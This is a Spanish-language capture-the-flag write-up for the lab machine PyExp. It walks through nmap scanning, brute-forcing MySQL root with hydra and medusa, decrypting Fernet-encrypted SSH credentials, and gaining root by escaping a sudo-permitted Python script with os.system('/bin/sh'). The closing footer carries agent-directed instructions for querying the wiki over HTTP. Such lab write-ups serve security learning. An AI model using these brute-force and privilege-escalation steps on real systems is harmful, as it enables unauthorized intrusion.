# PyExp

<figure><img src="/files/SCwmC2ebACoZDBo7uB3H" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP&#x20;

Comenzamos la máquina PyExp realizando un escaneo de los servicios que tiene abietos esta máquina.&#x20;

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.93.118
```

<figure><img src="/files/HqUBSGI5SbafMyVFe9DW" alt=""><figcaption></figcaption></figure>

Dos puertos abiertos, 1337 y 3306. A continuación, seguimos con un escaneo en profundidad de estos dos puertos.&#x20;

```
nmap -p1337,3306 -sVC -Pn -n -vvv 192.168.93.118
```

<figure><img src="/files/yiQDqbIX9yd1XKhQ8oV4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AC22EM8RrQQrgKZRH5NE" alt=""><figcaption></figcaption></figure>

Existen 2 puertos abiertos en el equipo target.&#x20;

* Puerto 1337 -> SSH -> OpenSSH 7.9
* Puerto 3306 ->  MySQL -> MySQL 5.5.5-10.3.23-MariaDB

Además también vemos información sobre la base de datos que puede ser interesante.&#x20;

### Puerto 3306 (MySQL)

Comenzamos la enumeración del puerto 3306, que es el puerto de MySQL. Vamos a iniciar realizando una fuerza bruta para averiguar la password con dos herramientas: "hydra" y "medusa" y haremos uso de la wordlist "rockyou.txt".

```
hydra -l root -P /home/kali/rockyou.txt 192.168.93.118 mysql
```

<figure><img src="/files/LNBkXzaGTt6Eg6DQvvAh" alt=""><figcaption></figcaption></figure>

```
medusa -h 192.168.93.118 -M mysql -u root -P /home/kali/rockyou.txt -t 40 -f
```

<figure><img src="/files/rJ6g3vTH5lT33frehCoM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yeEBMxwPic8C0VD7k18s" alt=""><figcaption></figcaption></figure>

Ya tenemos las credenciales para acceder a la base de datos MySQL. "root:prettywoman".

Vamos a iniciar sesión en MySQL con las credenciales que encontramos anteriormente.&#x20;

```
mysql -u root -h 192.168.93.118 -p
```

<figure><img src="/files/VhEFVPRLLjvNwyEhj1X1" alt=""><figcaption></figcaption></figure>

Continuamos enumerando las bases de datos disponibles.&#x20;

```
 show databases;
```

<figure><img src="/files/d16JWvoELkUBMDcjvm3S" alt=""><figcaption></figcaption></figure>

Seleccionamos la base de datos "data".

```
USE data;
```

Dentro de la basede datos "data", encontramos una tabla llamada "fernet". Vamos a realizar un volcado de los datos de esta tabla.&#x20;

```
select * from fernet;
```

<figure><img src="/files/AzbajRD1SsHM3M8Olnp7" alt=""><figcaption></figcaption></figure>

Parecen las credenciales para algún tipo de cuenta en el equipo. Vamos a intentar descifrarlos con algunos de los algoritmos más comunes. Utilizaremos [CyberChef](https://gchq.github.io/CyberChef/). Pero no logramos descifrar ningún hash.&#x20;

El nombre de la tabla parece extraño, ¿qués es fernet?. Vamos a consultarlo.&#x20;

Fernet es una implementación de criptografía simétrica, en la que que un mensaje cifrado con ella no puede ser leido sin una clave.&#x20;

Vamos a intentar descifrar el contenido con esta [herramienta](https://asecuritysite.com/tokens/ferdecode).&#x20;

<figure><img src="/files/FtVayMmjpZmFUq5NbxqZ" alt=""><figcaption><p>lucy:wJ9`"Lemdv9[FEw-</p></figcaption></figure>

### Explotación

Anteriormente obtuvimos unas credenciales. Recordamos que en el escaneo de puertos inicial existía un puerto SSH. ¿Pueden las credenciales para este servicio? Vamos a comprobarlo.&#x20;

```
ssh lucy@192.168.93.118 -p 1337
```

<figure><img src="/files/nkrEmpKA6OscTmSuVrMw" alt=""><figcaption></figcaption></figure>

Podemos iniciar sesión en el servicio SSH con las credenciales anteriormente encontradas.&#x20;

Buscamos la flag local.txt

<figure><img src="/files/1ajIiM9SQrAxO8xskTIJ" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Comenzamos enumerando los programos que podemos ejecutar como root sin contraseña.&#x20;

```
sudo -l 
```

<figure><img src="/files/sbCBQJ7w58zekL10JmHC" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido del archivo "opt/exp.py".

<figure><img src="/files/yTsMQLiIt15eejTSsMAf" alt=""><figcaption></figcaption></figure>

Este script os hace una pregunta al solicitar una entrada. Si podemos escapar de la shell mientras este script está en funcionamiento, deberiamos obtener privilegios elevados.

Ejecutamos el siguiente comando para lanzar el ejecutable:&#x20;

```
sudo /usr/bin/python2 /opt/exp.py
```

Y este otro para escapar de la shell y obtener privilegios elevados.&#x20;

<pre><code><strong>import os; os.system("/bin/sh")
</strong></code></pre>

<figure><img src="/files/m938PywFDTM4WJcTfZ1C" alt=""><figcaption></figcaption></figure>

Vamos a por la flag proof.txt para acabar este CTF.&#x20;

<figure><img src="/files/ce93sfEaISJbmUSk9MuW" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=rCWUtcbvl5I>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/pyexp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
